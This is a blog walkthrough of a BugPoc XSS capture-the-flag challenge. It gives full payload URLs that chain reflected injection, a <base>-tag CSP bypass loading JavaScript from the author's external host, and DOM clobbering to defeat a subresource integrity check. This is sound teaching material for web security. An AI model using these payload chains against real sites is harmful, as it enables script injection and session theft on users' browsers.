Solving BugPoc XSS challenge

Sudhanshu Rajbhar
7 min readNov 10, 2020

Heyy Everyoneee,

I hope everyone one of you is doing good, recently @bugpoc shared a xss challenge , I was getting bored so I thought to give it a try .This writeup is going to be a walkthrough of how I approached the challenge, although I wasn’t able to solve the challenge completely but I want to share my experience by writing a blog anyway.

As you can see the rules for this challenge in the embed tweet , we have to pop an alert(document.domain) and we need to bypass the CSP also.

I started by visiting the website.

So there was an input box where whatever input we provided is displayed back to us in wacky way after clicking on the button which says “Make Whacky!”.

We have an input field, let’s try putting a xss payload and see what happens.I tried with basic xss payload “><img src=x onerror=alert()>

And you can see the result: characters like >< are stripped from our input.

Looking at the source code there was a js file: https://wacky.buggywebsite.com/script.js

This piece of code was responsible for stripping of ><, the onkeyup event is fired when the user releases a key. Looking at the next piece code,our input was stored in a variable name val and then it was passed as a parameter value.

Let’s go more deep to find out what was happening with our input after this. From the home page source we can see a iframe tag.

The full url in the src attribute of the iframe tag is:

Upon opening this url in a new tab we could see a completely different page than before, I expected it to be as same as we can see in the homepage with the wacky text but it wasn’t:

https://wacky.buggywebsite.com/frame.html?param=Shirley

So we now have found the piece of code (from this frame.html page)which was responsible for converting our text into whacky text.

One more thing which was interesting here was that, we can supply any value to the param parameter and it will reflected as such (<> will not get stripped now) as the responsible code for replacing these characters isn’t available on this frame.html page.

We just needed to close the title tag first , so we changed our input to:

No popup yet this ain’t so easy, we forgot about the CSP we have to bypass it also.

Bypassing the CSP:

By going to this website https://csp-evaluator.withgoogle.com/ we can check if a Content Security Policy (CSP) serves as a strong mitigation against cross-site scripting attacks or not.

Looking at the results:

We can use base tags to bypass the CSP. Some information about the base tag you can find here:

By using a payload like: shirley</title><base href=//shirley.xyz>, our base url is used in this relative url.

<source src=”movie.mp4" type=”video/mp4">

Now, we needed to know why was the frame.html page was showing different content when we opened it in a new tab.

It was due to this piece code:

If window.name is not equal to “iframe”, then the else part of code gets executed which is what we saw earlier.

Let’s move on to do something the base tag. In this line of code you can see relative url is used:

script.setAttribute(‘src’, ‘files/analytics/js/frame-analytics.js’);

But we have to bypass the first condition if (window.name == ‘iframe’),

which verifies if we are in an iframe or not, inorder to execute that line of code (script.setAttribute).

I remember watching @liveoverflow video about a xss challenge from Google CTF, where he mentioned that window.name value remains same across different websites in the same tab/window.

“window.name is special ” watch this video for more information:

Now it’s fetching the frame-analytics.js file from our controlled website.

Let’s create the particular js file on our server: our-server.com/files/analytics/js/frame-analytics.js

I setup the js file on Github Pages.

As I created the file “files/analytics/js/frame-analytics.js” under “/new” directory, my payload will changed to <base href=//sudistar.github.io/new/>

Still this wasn’t working because of the integrity check:

To find out what’s happening ,focus on this piece of code, along with src attribute one more attribute is set on the script tag which is integrity

“It ensures that the files on your website fetches (from a CDN or anywhere) have been delivered without a third-party having injected any additional content into those files — and without any other changes of any kind at all having been made to those files”. Check out the above link to find out more about the integrity attribute.

You can see what the actual contents of the js file was https://wacky.buggywebsite.com/files/analytics/js/frame-analytics.js, the hash unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E= is for this js file.

As we have added the base tag with href attribute value to our own server, this js file is being fetched from our server now and the content of our js file is alert(1);

The hash for the js file which is on our server is: vyWxnR5/SfkpBXTjK7tyUvoeEZCT+fK2ayxsse+sBvs= which is not equal to the hash set in the integrity attribute by the wacky.buggywebsite.com host, because of this the browser blocks the execution of our script.

This is the part of the challenge where I didn’t knew what to do next, I just needed to find a way to control the fileIntegrity.value so that I can set the appropriate hash so the browser can execute my script.

Bypassing th Integrity Check:

The answer to this solution was DOM clobbering, I didn’t knew anything about it. This idea hit me after watching @liveoverflow video again as the window.fileIntegrity part of the code looked very similar to @liveoverflow video.

So I checked Portswigger Academy, some medium blogs to understand what actually Dom Clobbering is.

I used a similar payload to this:

<output id=fileIntegrity>Hey Shirley</output> and let’s have a look what’s inside fileIntegrity.value now

Focus on the console, we have now control over the fileIntegrity.value.

https://wacky.buggywebsite.com/frame.html?param=Hello,%20World!%3C/title%3E%3Coutput%20id=fileIntegrity%3EvyWxnR5%2FSfkpBXTjK7tyUvoeEZCT%2BfK2ayxsse%2BsBvs=%3C/output%3E%3Cbase%20href=%27//sudistark.github.io/new/%27%3E

But again this didn’t work we have to overcome one more protection in place to pop an alert. (Others like confirm,prompt were also showing same error).I even tried with window.alert() but same error.

Ignored call to ‘alert()’. The document is sandboxed, and the ‘allow-modals’ keyword is not set.

This is the point where I had to give up.

Upon loading the url in firefox this warning was shown in the console, “An iframe which has both allow-scripts and allow-same-origin for its sandbox attribute can remove its sandboxing.”

This error in firefox and the ‘allow-modals’ error which we get in chrome were mentioning the word sandbox so I knew the last part would be related to something like bypassing the iframe sandbox and then we might be able to execute our js without any error.

After the challenge was over, I checked the writeups by other people and found that as the iframe sandox attribute is set to allow-scripts and allow-same-origin which makes the sandbox useless.

These are taken from other people writeups.

The difference between window.top and window.parent can be found here:

https://stackoverflow.com/questions/3473946/what-is-the-difference-between-window-window-top-and-window-parent

Here are some of the blogs which I read:

Changed my payload according to what was mentioned in these blogs:

https://wacky.buggywebsite.com/frame.html?param=Hello,%20World!%3C/title%3E%3Coutput%20id=fileIntegrity%3EkrmRFEi7jlxl25eA5ubo1m4MFKpavCfmWGD9uAXqgAE=%3C/output%3E%3Cbase%20href=%27//sudistark.github.io/new/%27%3E

And the happiness comes after seeing this:

Thankyou!!

Sya Everyonee!

--

--